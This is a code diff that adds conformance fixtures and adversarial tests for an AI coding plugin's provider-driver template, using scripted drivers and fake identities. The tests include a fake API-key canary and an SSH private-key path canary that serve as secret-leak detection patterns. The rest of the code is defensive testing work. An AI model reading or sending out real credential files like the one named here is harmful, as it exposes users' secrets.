include: ['detailed_events'], + })), + 'unsupported_capability'); + } + if (validatedDeclaration.features.live_progress === 'unsupported') { + expectDriverFailure(prefix, 'unsupported live progress', + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { + include: ['live_progress'], + })), + 'unsupported_capability'); + } + } + pass(); + + expectDriverFailure(prefix, 'digest-only launch', + () => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), + 'digest_only_launch_denied'); + pass(); + + for (const [key, value, code] of FOREIGN_LAUNCH_KEYS) { + expectDriverFailure(prefix, `foreign key ${key}`, + () => validateDriverLaunchRequestV1(hostileRequest(fixture, key, value)), + code); + } + pass(); + + let getterRuns = 0; + const accessorRequest = hostileRequest(fixture); + delete accessorRequest.envelope_text; + Object.defineProperty(accessorRequest, 'envelope_text', { + enumerable: true, + get() { + getterRuns += 1; + return fixture.envelope_text; + }, + }); + expectDriverFailure(prefix, 'accessor request', + () => validateDriverLaunchRequestV1(accessorRequest), + 'accessor_property_denied'); + assert.equal(getterRuns, 0, `${prefix} getters never run`); + expectDriverFailure(prefix, 'Proxy request', + () => validateDriverLaunchRequestV1(new Proxy(hostileRequest(fixture), {})), + 'proxy_denied'); + expectDriverFailure(prefix, 'symbol key', + () => validateDriverLaunchRequestV1(hostileRequest(fixture, Symbol('hidden'), 1)), + 'symbol_key_denied'); + expectDriverFailure(prefix, 'exotic prototype', + () => validateDriverLaunchRequestV1(Object.assign( + Object.create({ inherited() {} }), hostileRequest(fixture), + )), + 'exotic_prototype_denied'); + pass(); + + expectDriverFailure(prefix, 'fifth operation', + () => assertProviderDriverV1({ ...driver, reply: () => ({}) }), + 'invalid_surface'); + expectDriverFailure(prefix, 'Proxy driver', + () => assertProviderDriverV1(new Proxy({ ...driver }, {})), + 'proxy_denied'); + pass(); + + assert.equal(DRIVER_FEATURE_KEYS.length, 4, `${prefix} four honest features`); + assert.equal(validatedDeclaration.capability.same_session_reply === 'live_session_reply' + || validatedDeclaration.capability.same_session_reply === 'unsupported_unresolved_attention', + true, `${prefix} reply posture is closed`); + pass(); + + return freezeData({ + schema: FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + version: FUTURE_HARNESS_CONFORMANCE_VERSION, + label, + checks, + ok: true, + mode: expectedLaunch, + operations: capturedFreeze([...DRIVER_OPERATIONS]), + live_transport_qualification: false, + }); +} + +export function describeFutureHarnessConformanceKitV1() { + return capturedFreeze({ + schema: FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + version: FUTURE_HARNESS_CONFORMANCE_VERSION, + operations: capturedFreeze([...DRIVER_OPERATIONS]), + live_transport_qualification: false, + proves: capturedFreeze([ + 'required_methods_and_capabilities', + 'preflight_before_spawn', + 'dispatch_certainty_and_never_replay', + 'exact_identity_binding', + 'terminal_absorption', + 'cancel_reattach_reply_supported_versus_unsupported', + 'content_free_bounded_errors_and_evidence', + 'hostile_extra_keys_prototypes_accessors', + 'bounded_events_and_receipts', + 'no_secret_or_path_leakage', + 'no_remote_pr_merge_authority', + ]), + }); +} + +capturedFreeze(assertFutureHarnessContentFreeV1); +capturedFreeze(runFutureHarnessConformanceKitV1); +capturedFreeze(describeFutureHarnessConformanceKitV1); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-future-harness-conformance.mjs b/plugins/codex-co-engineer/test/fixtures/r1-future-harness-conformance.mjs new file mode 100644 index 0000000..81421b2 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-future-harness-conformance.mjs @@ -0,0 +1,192 @@ +// Inert P22 future-harness conformance fixtures. Fake identities and +// scripted drivers only. Callers inject every identity; nothing reads the +// clock, network, credentials, or process table. + +import { FUTURE_HARNESS_FAIL_CLOSED_FEATURES } from '../../mcp/v3/future-harness.mjs'; +import { childEnvelopeDigestV1 } from '../../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, +} from '../../mcp/v3/provider-driver.mjs'; +import { p17Record } from './r1-resolver-fixtures.mjs'; + +export const FUTURE_HARNESS_FIXTURE_BASE_SHA = 'b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1'; +export const FUTURE_HARNESS_FIXTURE_REPOSITORY_PATH = '/repo/future-harness-conformance'; +export const FUTURE_HARNESS_FIXTURE_RUN_ID = 'future-harness-kit'; +export const FUTURE_HARNESS_FIXTURE_ASSIGNMENT_ID = 'contract-lane'; +export const FUTURE_HARNESS_FIXTURE_REQUEST_ID = 'req-conformance-1'; +export const FUTURE_HARNESS_FIXTURE_BRANCH = 'codex-co-engineer/future-harness-kit'; +export const FUTURE_HARNESS_SECRET_CANARY = 'sk-leakedsecretvalue'; +export const FUTURE_HARNESS_PATH_CANARY = '/opt/secret-user/.ssh/id_ed25519'; + +const PROVIDER_MODELS = Object.freeze({ + grok: 'grok-4', + 'cursor-local': 'composer-1', + 'cursor-cloud': 'claude-sonnet-4-5', + dsh: 'stealth/ox-alpha', +}); + +export function futureHarnessFailClosedDeclarationV1(provider, capabilityOverrides = {}) { + return { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: p17Record(provider, { + create_pr_posture: 'prohibited', + notes: `${provider} future-harness fail-closed fixture`, + revision: 'p22.fixture.1', + ...capabilityOverrides, + }), + features: { ...FUTURE_HARNESS_FAIL_CLOSED_FEATURES }, + }; +} + +export function futureHarnessSupportedDeclarationV1(provider, featureOverrides = {}, capabilityOverrides = {}) { + return { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: p17Record(provider, { + create_pr_posture: 'prohibited', + notes: `${provider} future-harness supported-feature fixture`, + revision: 'p22.fixture.1', + ...capabilityOverrides, + }), + features: { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + ...featureOverrides, + }, + }; +} + +export function buildFutureHarnessFixtureV1(provider = 'dsh', overrides = {}) { + const model = overrides.model ?? PROVIDER_MODELS[provider]; + const baseSha = overrides.base_sha ?? FUTURE_HARNESS_FIXTURE_BASE_SHA; + const assignment = { + assignment_id: FUTURE_HARNESS_FIXTURE_ASSIGNMENT_ID, + role: 'implement', + access: 'writer', + prompt: 'Implement the future-harness contract lane exactly.', + execution: { provider, model }, + write_scope: ['mcp/**'], + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report', 'git_diff'], + }; + if (provider === 'cursor-cloud') assignment.starting_ref = baseSha; + const manifest = Object.freeze({ + schema: 'codex-co-engineer.run.v1', + run_id: FUTURE_HARNESS_FIXTURE_RUN_ID, + repository: Object.freeze({ + path: FUTURE_HARNESS_FIXTURE_REPOSITORY_PATH, + base_sha: baseSha, + }), + objective: 'Exercise the P22 future-harness conformance kit.', + assignments: Object.freeze([Object.freeze(assignment)]), + policy: Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }), + return_contract: Object.freeze({ mode: 'verified_decision', include_artifact_refs: true }), + }); + const envelope = compileChildEnvelopeV1(manifest, FUTURE_HARNESS_FIXTURE_ASSIGNMENT_ID); + const identity = Object.freeze({ + provider, + model, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + request_id: FUTURE_HARNESS_FIXTURE_REQUEST_ID, + branch: FUTURE_HARNESS_FIXTURE_BRANCH, + base_sha: envelope.repository.base_sha, + workspace_semantics: provider === 'cursor-cloud' ? 'remote_provider_managed' : 'local_managed_worktree', + workspace_starting_point: provider === 'cursor-cloud' ? 'pinned_pushed_sha' : 'run_base_sha', + }); + return Object.freeze({ + manifest, + envelope, + identity, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }); +} + +export function futureHarnessTemplateOptionsV1(provider = 'dsh', declarationOverrides = {}) { + const fixture = buildFutureHarnessFixtureV1(provider); + return Object.freeze({ + fixture, + options: Object.freeze({ + identity: fixture.identity, + declaration: futureHarnessFailClosedDeclarationV1(provider, declarationOverrides), + }), + }); +} + +function detailFor(operation, disposition) { + if (operation === 'preflight' && disposition === 'blocked') { + return { + detail_code: 'model_unattested', + detail_message: 'The installed driver cannot attest the requested model.', + }; + } + if (operation === 'launch' && disposition === 'not_sent') { + return { + detail_code: 'transport_unavailable', + detail_message: 'No provider transport is configured.', + }; + } + return {}; +} + +export function scriptedFutureHarnessResultV1(operation, request, fixture, disposition, extra = {}) { + return { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: fixture.identity.run_id, + assignment_id: fixture.identity.assignment_id, + lane_index: fixture.identity.lane_index, + base_sha: fixture.identity.base_sha, + child_envelope_digest: request.child_envelope_digest, + disposition, + ...detailFor(operation, disposition), + ...extra, + }; +} + +export function createScriptedFutureHarnessDriverV1(fixture, dispositions = {}) { + const chosen = { + preflight: 'ready', + launch: 'dispatch_uncertain', + reconcile: 'terminal', + cancel: 'already_terminal', + ...dispositions, + }; + let terminal = false; + return { + preflight: (request) => scriptedFutureHarnessResultV1( + 'preflight', request, fixture, chosen.preflight, + ), + launch: (request) => scriptedFutureHarnessResultV1( + 'launch', request, fixture, chosen.launch, + ), + reconcile: (request) => { + const disposition = terminal ? 'terminal' : chosen.reconcile; + if (disposition === 'terminal') terminal = true; + return scriptedFutureHarnessResultV1('reconcile', request, fixture, disposition); + }, + cancel: (request) => { + const disposition = terminal ? 'already_terminal' : chosen.cancel; + if (disposition === 'already_terminal' || disposition === 'cancel_confirmed') { + terminal = true; + } + return scriptedFutureHarnessResultV1('cancel', request, fixture, disposition); + }, + }; +} diff --git a/plugins/codex-co-engineer/test/r1-future-harness-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-future-harness-adversarial.test.mjs new file mode 100644 index 0000000..793ea90 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-future-harness-adversarial.test.mjs @@ -0,0 +1,169 @@ +// Adversarial P22 future-harness tests: hostile keys, prototypes, accessors, +// identity lies, secret/path leakage, and invented capabilities fail closed. + +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + bindFutureHarnessDriverTemplateV1, + createFutureHarnessDriverTemplateV1, + validateFutureHarnessIdentityV1, +} from '../mcp/v3/future-harness.mjs'; +import { + assertFutureHarnessContentFreeV1, +} from '../mcp/v3/provider-driver-conformance.mjs'; +import { + DRIVER_OPERATIONS, + assertProviderDriverV1, + bindProviderDriverV1, + buildDriverOperationRequestV1, + validateDriverLaunchRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + FUTURE_HARNESS_PATH_CANARY, + FUTURE_HARNESS_SECRET_CANARY, + buildFutureHarnessFixtureV1, + createScriptedFutureHarnessDriverV1, + futureHarnessSupportedDeclarationV1, + futureHarnessTemplateOptionsV1, + scriptedFutureHarnessResultV1, +} from './fixtures/r1-future-harness-conformance.mjs'; + +function expectCode(fn, code) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code); +} + +test('hostile template options never execute caller code', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + let getterRuns = 0; + const hostile = { ...packed.options }; + Object.defineProperty(hostile, 'identity', { + enumerable: true, + get() { + getterRuns += 1; + return packed.options.identity; + }, + }); + expectCode(() => createFutureHarnessDriverTemplateV1(hostile), 'accessor_property_denied'); + assert.equal(getterRuns, 0); + expectCode(() => createFutureHarnessDriverTemplateV1(Object.assign( + Object.create({ inherited: true }), packed.options, + )), 'exotic_prototype_denied'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + ...packed.options, + [Symbol('hidden')]: 1, + }), 'symbol_key_denied'); +}); + +test('a fifth reply/retry/merge operation is not a driver surface', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + const driver = createFutureHarnessDriverTemplateV1(packed.options); + expectCode(() => assertProviderDriverV1({ ...driver, reply: () => ({}) }), 'invalid_surface'); + expectCode(() => assertProviderDriverV1({ ...driver, retry: () => ({}) }), 'invalid_surface'); + expectCode(() => assertProviderDriverV1({ ...driver, merge: () => ({}) }), 'invalid_surface'); + const incomplete = { ...driver }; + delete incomplete.cancel; + expectCode(() => assertProviderDriverV1(incomplete), 'invalid_surface'); +}); + +test('foreign launch keys keep fail-closed P02 denial codes', () => { + const fixture = buildFutureHarnessFixtureV1('dsh'); + const request = buildDriverOperationRequestV1('launch', fixture.envelope); + expectCode(() => validateDriverLaunchRequestV1({ ...request, fallback: true }), + 'replay_or_fallback_denied'); + expectCode(() => validateDriverLaunchRequestV1({ ...request, create_pr: true }), + 'merge_authority_denied'); + expectCode(() => validateDriverLaunchRequestV1({ ...request, auto_create_pr: true }), + 'merge_authority_denied'); + expectCode(() => validateDriverLaunchRequestV1({ ...request, push: true }), + 'merge_authority_denied'); + expectCode(() => validateDriverLaunchRequestV1({ ...request, credentials: { token: 'x' } }), + 'credential_content_denied'); +}); + +test('scripted identity lies and extra receipt keys are rejected', () => { + const fixture = buildFutureHarnessFixtureV1('grok'); + const declaration = futureHarnessSupportedDeclarationV1('grok'); + const lying = createScriptedFutureHarnessDriverV1(fixture, { launch: 'dispatched' }); + lying.launch = (request) => ({ + ...scriptedFutureHarnessResultV1('launch', request, fixture, 'dispatched'), + run_id: 'other-run', + }); + const bound = bindProviderDriverV1(lying, declaration); + bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + expectCode( + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'receipt_identity_mismatch', + ); + + const extra = createScriptedFutureHarnessDriverV1(fixture, { launch: 'dispatched' }); + extra.launch = (request) => ({ + ...scriptedFutureHarnessResultV1('launch', request, fixture, 'dispatched'), + artifact_ref: 'sha256:deadbeef', + }); + const extraBound = bindProviderDriverV1(extra, declaration); + extraBound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + expectCode( + () => extraBound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'unknown_key', + ); +}); + +test('secret and path canaries never appear in template receipts or errors', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + const preflight = bound.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)); + const launch = bound.launch(buildDriverOperationRequestV1('launch', packed.fixture.envelope)); + assertFutureHarnessContentFreeV1(preflight, 'preflight'); + assertFutureHarnessContentFreeV1(launch, 'launch'); + try { + bound.cancel(buildDriverOperationRequestV1('cancel', packed.fixture.envelope)); + assert.fail('cancel must fail closed'); + } catch (error) { + assert.ok(!utilTypes.isProxy(error)); + assert.doesNotMatch(error.message, new RegExp(FUTURE_HARNESS_SECRET_CANARY, 'u')); + assert.doesNotMatch(error.message, new RegExp(FUTURE_HARNESS_PATH_CANARY.replaceAll('/', '\\/'), 'u')); + assertFutureHarnessContentFreeV1(error.message, 'cancel.error'); + } + expectCode( + () => assertFutureHarnessContentFreeV1( + { detail_message: `token ${FUTURE_HARNESS_SECRET_CANARY}` }, + 'leaky', + ), + 'credential_content_denied', + ); + expectCode( + () => assertFutureHarnessContentFreeV1({ path: FUTURE_HARNESS_PATH_CANARY }, 'leaky-path'), + 'credential_content_denied', + ); +}); + +test('random IDs and clocks are not accepted as identity substitutes', () => { + const fixture = buildFutureHarnessFixtureV1('dsh'); + expectCode(() => validateFutureHarnessIdentityV1({ + ...fixture.identity, + request_id: `${Date.now()}`, + }), 'invalid_format'); + expectCode(() => validateFutureHarnessIdentityV1({ + ...fixture.identity, + branch: 'HEAD', + }), 'invalid_format'); + expectCode(() => validateFutureHarnessIdentityV1({ + ...fixture.identity, + base_sha: 'MAIN', + }), 'invalid_format'); +}); + +test('Proxy drivers and accessor operations are denied', () => { + const packed = futureHarnessTemplateOptionsV1('cursor-local'); + const driver = createFutureHarnessDriverTemplateV1(packed.options); + expectCode(() => assertProviderDriverV1(new Proxy(driver, {})), 'proxy_denied'); + const accessor = {}; + Object.defineProperty(accessor, 'preflight', { enumerable: true, get: () => () => ({}) }); + for (const operation of DRIVER_OPERATIONS) { + if (operation !== 'preflight') accessor[operation] = () => ({}); + } + expectCode(() => assertProviderDriverV1(accessor), 'invalid_object'); +}); diff --git a/plugins/codex-co-engineer/test/r1-future-harness-conformance.test.mjs b/plugins/codex-co-engineer/test/r1-future-harness-conformance.test.mjs new file mode 100644 index 0000000..b17ce43 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-future-harness-conformance.test.mjs @@ -0,0 +1,199 @@ +// Reusable P22 future-harness conformance suite. The kit is deterministic +// and may be pointed at the inert template or at a scripted future adapter. +// Passing it does not qualify a live transport. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + bindFutureHarnessDriverTemplateV1, + createFutureHarnessDriverTemplateV1, +} from '../mcp/v3/future-harness.mjs'; +import { + describeFutureHarnessConformanceKitV1, + runFutureHarnessConformanceKitV1, +} from '../mcp/v3/provider-driver-conformance.mjs'; +import { bindProviderDriverV1, buildDriverOperationRequestV1 } from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + buildFutureHarnessFixtureV1, + createScriptedFutureHarnessDriverV1, + futureHarnessFailClosedDeclarationV1, + futureHarnessSupportedDeclarationV1, + futureHarnessTemplateOptionsV1, +} from './fixtures/r1-future-harness-conformance.mjs'; + +test('the conformance kit describes mock evidence and not live qualification', () => { + const description = describeFutureHarnessConformanceKitV1(); + assert.equal(description.live_transport_qualification, false); + assert.ok(description.proves.includes('preflight_before_spawn')); + assert.ok(description.proves.includes('no_remote_pr_merge_authority')); + assert.ok(description.proves.includes('no_secret_or_path_leakage')); + assert.ok(Object.isFrozen(description)); +}); + +test('the inert template passes the reusable kit deterministically', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + const driver = createFutureHarnessDriverTemplateV1(packed.options); + const first = runFutureHarnessConformanceKitV1(driver, { + label: 'template-dsh', + declaration: packed.options.declaration, + fixture: packed.fixture, + expect: { launch_disposition: 'not_sent' }, + }); + const second = runFutureHarnessConformanceKitV1( + createFutureHarnessDriverTemplateV1(packed.options), + { + label: 'template-dsh', + declaration: packed.options.declaration, + fixture: packed.fixture, + expect: { launch_disposition: 'not_sent' }, + }, + ); + assert.equal(first.ok, true); + assert.equal(first.live_transport_qualification, false); + assert.equal(first.mode, 'not_sent'); + assert.deepEqual(first, second); + assert.ok(first.checks >= 8); +}); + +test('the kit covers grok, cursor-local, and cursor-cloud fail-closed templates', () => { + for (const provider of ['grok', 'cursor-local', 'cursor-cloud']) { + const packed = futureHarnessTemplateOptionsV1(provider); + const report = runFutureHarnessConformanceKitV1( + createFutureHarnessDriverTemplateV1(packed.options), + { + label: `template-${provider}`, + declaration: packed.options.declaration, + fixture: packed.fixture, + expect: { launch_disposition: 'not_sent' }, + }, + ); + assert.equal(report.ok, true, provider); + assert.equal(report.live_transport_qualification, false, provider); + } +}); + +test('blocked unattested preflight is a first-class kit mode', () => { + const packed = futureHarnessTemplateOptionsV1('dsh', { + exact_model_selection: 'not_supported', + }); + const report = runFutureHarnessConformanceKitV1( + createFutureHarnessDriverTemplateV1(packed.options), + { + label: 'template-blocked', + declaration: packed.options.declaration, + fixture: packed.fixture, + expect: { preflight_disposition: 'blocked' }, + }, + ); + assert.equal(report.ok, true); + assert.equal(report.mode, 'blocked'); +}); + +test('a scripted dispatch double proves never-replay and terminal absorption', () => { + const fixture = buildFutureHarnessFixtureV1('grok'); + const declaration = futureHarnessSupportedDeclarationV1('grok'); + const driver = createScriptedFutureHarnessDriverV1(fixture, { + launch: 'dispatched', + reconcile: 'terminal', + cancel: 'already_terminal', + }); + const report = runFutureHarnessConformanceKitV1(driver, { + label: 'scripted-grok', + declaration, + fixture, + expect: { launch_disposition: 'dispatched' }, + }); + assert.equal(report.ok, true); + assert.equal(report.mode, 'dispatched'); + assert.equal(report.live_transport_qualification, false); +}); + +test('uncertain DSH dispatch never reports dispatched and never replays', () => { + const fixture = buildFutureHarnessFixtureV1('dsh'); + const declaration = futureHarnessSupportedDeclarationV1('dsh'); + const driver = createScriptedFutureHarnessDriverV1(fixture, { + launch: 'dispatch_uncertain', + reconcile: 'terminal', + cancel: 'already_terminal', + }); + const report = runFutureHarnessConformanceKitV1(driver, { + label: 'scripted-dsh', + declaration, + fixture, + expect: { launch_disposition: 'dispatch_uncertain' }, + }); + assert.equal(report.ok, true); + + const lying = createScriptedFutureHarnessDriverV1(fixture, { launch: 'dispatched' }); + assert.throws( + () => runFutureHarnessConformanceKitV1(lying, { + label: 'dsh-dispatched-lie', + declaration, + fixture, + expect: { launch_disposition: 'dispatched' }, + }), + (error) => error instanceof RunContractV1Error + && error.code === 'capability_dispatch_certainty_mismatch', + ); +}); + +test('unsupported cancel and reattach fail closed on a dispatched scripted driver', () => { + const fixture = buildFutureHarnessFixtureV1('cursor-local'); + const declaration = futureHarnessFailClosedDeclarationV1('cursor-local'); + const driver = createScriptedFutureHarnessDriverV1(fixture, { + launch: 'dispatched', + reconcile: 'in_progress', + }); + const report = runFutureHarnessConformanceKitV1(driver, { + label: 'unsupported-local', + declaration, + fixture, + expect: { launch_disposition: 'dispatched' }, + }); + assert.equal(report.ok, true); +}); + +test('the kit rejects a driver that invents a reply operation', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + const driver = { + ...createFutureHarnessDriverTemplateV1(packed.options), + reply: () => ({}), + }; + assert.throws( + () => runFutureHarnessConformanceKitV1(driver, { + label: 'reply-inventor', + declaration: packed.options.declaration, + fixture: packed.fixture, + }), + (error) => error instanceof RunContractV1Error && error.code === 'invalid_surface', + ); +}); + +test('bound template and unbound template share the frozen caller identity', () => { + const packed = futureHarnessTemplateOptionsV1('grok'); + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + bound.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)); + const launch = bound.launch(buildDriverOperationRequestV1('launch', packed.fixture.envelope)); + assert.equal(launch.run_id, packed.fixture.identity.run_id); + assert.equal(launch.assignment_id, packed.fixture.identity.assignment_id); + assert.equal(launch.base_sha, packed.fixture.identity.base_sha); +}); + +test('scripted live_session_reply still has no reply method', () => { + const fixture = buildFutureHarnessFixtureV1('grok'); + const declaration = futureHarnessSupportedDeclarationV1('grok'); + assert.equal(declaration.capability.same_session_reply, 'live_session_reply'); + const driver = createScriptedFutureHarnessDriverV1(fixture, { + launch: 'dispatched', + reconcile: 'unresolved_attention', + cancel: 'cancel_requested', + }); + assert.equal(Object.hasOwn(driver, 'reply'), false); + const bound = bindProviderDriverV1(driver, declaration); + bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + const observe = bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope)); + assert.equal(observe.disposition, 'unresolved_attention'); +}); diff --git a/plugins/codex-co-engineer/test/r1-future-harness.test.mjs b/plugins/codex-co-engineer/test/r1-future-harness.test.mjs new file mode 100644 index 0000000..a14d530 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-future-harness.test.mjs @@ -0,0 +1,217 @@ +// Normal P22 future-harness template tests. The scaffold exposes the exact +// P17 DriverV1 surface, fails closed, and never substitutes caller identity. + +import assert from 'node:assert/strict'; +import { readFileSync } from 'node:fs'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + FUTURE_HARNESS_FAIL_CLOSED_FEATURES, + bindFutureHarnessDriverTemplateV1, + createFutureHarnessDriverTemplateV1, + describeFutureHarnessDriverTemplateV1, + inspectFutureHarnessTemplateBindingV1, + validateFutureHarnessIdentityV1, +} from '../mcp/v3/future-harness.mjs'; +import { + DRIVER_OPERATIONS, + buildDriverOperationRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + buildFutureHarnessFixtureV1, + futureHarnessFailClosedDeclarationV1, + futureHarnessTemplateOptionsV1, +} from './fixtures/r1-future-harness-conformance.mjs'; + +function expectCode(fn, code) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code); +} + +function templateFor(provider = 'dsh') { + const packed = futureHarnessTemplateOptionsV1(provider); + return { + ...packed, + driver: createFutureHarnessDriverTemplateV1(packed.options), + bound: bindFutureHarnessDriverTemplateV1(packed.options), + }; +} + +test('the template describes an inert P17 surface with no transport', () => { + const description = describeFutureHarnessDriverTemplateV1(); + assert.deepEqual([...description.operations], [...DRIVER_OPERATIONS]); + assert.deepEqual([...description.transports], []); + assert.deepEqual([...description.relaunch_operations], []); + assert.equal(description.inert, true); + assert.equal(description.live_transport_qualification, false); + assert.deepEqual(description.fail_closed_features, FUTURE_HARNESS_FAIL_CLOSED_FEATURES); + assert.ok(Object.isFrozen(description)); +}); + +test('caller-supplied identities validate through P17 and freeze', () => { + const fixture = buildFutureHarnessFixtureV1('grok'); + const identity = validateFutureHarnessIdentityV1(fixture.identity); + assert.equal(identity.provider, 'grok'); + assert.equal(identity.model, 'grok-4'); + assert.equal(identity.request_id, fixture.identity.request_id); + assert.equal(identity.branch, fixture.identity.branch); + assert.ok(Object.isFrozen(identity)); + expectCode(() => validateFutureHarnessIdentityV1({ + ...fixture.identity, + provider: 'unknown-harness', + }), 'unknown_provider'); + expectCode(() => validateFutureHarnessIdentityV1({ + ...fixture.identity, + fallback: 'grok', + }), 'replay_or_fallback_denied'); +}); + +test('template construction requires identity and declaration and rejects extras', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + expectCode(() => createFutureHarnessDriverTemplateV1(), 'missing_key'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + identity: packed.options.identity, + }), 'missing_key'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + ...packed.options, + transport: { spawn: true }, + }), 'unknown_key'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + ...packed.options, + credentials: { token: 'sk-leakedsecretvalue' }, + }), 'credential_content_denied'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + ...packed.options, + create_pr: true, + }), 'merge_authority_denied'); + expectCode(() => createFutureHarnessDriverTemplateV1(new Proxy(packed.options, {})), + 'proxy_denied'); +}); + +test('the template exposes exactly the four P17 operations', () => { + const { driver } = templateFor('dsh'); + assert.deepEqual(Object.keys(driver).sort(), [...DRIVER_OPERATIONS].sort()); + for (const operation of DRIVER_OPERATIONS) { + assert.equal(typeof driver[operation], 'function'); + } + assert.ok(Object.isFrozen(driver)); +}); + +test('preflight is required before launch and launch never sends', () => { + const { bound, fixture } = templateFor('dsh'); + expectCode( + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'not_preflighted', + ); + const preflight = bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + assert.equal(preflight.disposition, 'ready'); + assert.equal(preflight.run_id, fixture.identity.run_id); + assert.equal(preflight.base_sha, fixture.identity.base_sha); + const launch = bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + assert.equal(launch.disposition, 'not_sent'); + assert.equal(launch.detail_code, 'transport_unavailable'); + expectCode( + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope)), + 'not_dispatched', + ); + expectCode( + () => bound.cancel(buildDriverOperationRequestV1('cancel', fixture.envelope)), + 'unsupported_capability', + ); +}); + +test('exact provider model workspace run request branch and base stay frozen', () => { + const packed = futureHarnessTemplateOptionsV1('cursor-local'); + const mutableIdentity = { ...packed.fixture.identity }; + const driver = createFutureHarnessDriverTemplateV1({ + identity: mutableIdentity, + declaration: packed.options.declaration, + }); + mutableIdentity.model = 'substituted-model'; + mutableIdentity.branch = 'main'; + mutableIdentity.request_id = 'req-other'; + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + bound.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)); + const binding = inspectFutureHarnessTemplateBindingV1(driver); + assert.equal(binding.identity.model, 'composer-1'); + assert.equal(binding.identity.branch, packed.fixture.identity.branch); + assert.equal(binding.identity.request_id, packed.fixture.identity.request_id); + assert.ok(Object.isFrozen(binding.identity)); +}); + +test('mismatched envelope identities fail closed and are never substituted', () => { + const packed = futureHarnessTemplateOptionsV1('grok'); + const other = buildFutureHarnessFixtureV1('dsh'); + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + expectCode( + () => bound.preflight(buildDriverOperationRequestV1('preflight', other.envelope)), + 'provider_slot_mismatch', + ); + const mutatedIdentity = { ...packed.fixture.identity, model: 'grok-code-fast-1' }; + const mismatched = createFutureHarnessDriverTemplateV1({ + identity: mutatedIdentity, + declaration: packed.options.declaration, + }); + expectCode( + () => mismatched.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)), + 'invalid_exact_model_selection', + ); +}); + +test('cursor-cloud template keeps the pinned starting SHA and never creates a PR', () => { + const packed = futureHarnessTemplateOptionsV1('cursor-cloud'); + assert.equal(packed.fixture.envelope.starting_ref, packed.fixture.identity.base_sha); + assert.equal(packed.options.declaration.capability.create_pr_posture, 'prohibited'); + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + const preflight = bound.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)); + assert.equal(preflight.disposition, 'ready'); + const launch = bound.launch(buildDriverOperationRequestV1('launch', packed.fixture.envelope)); + assert.equal(launch.disposition, 'not_sent'); +}); + 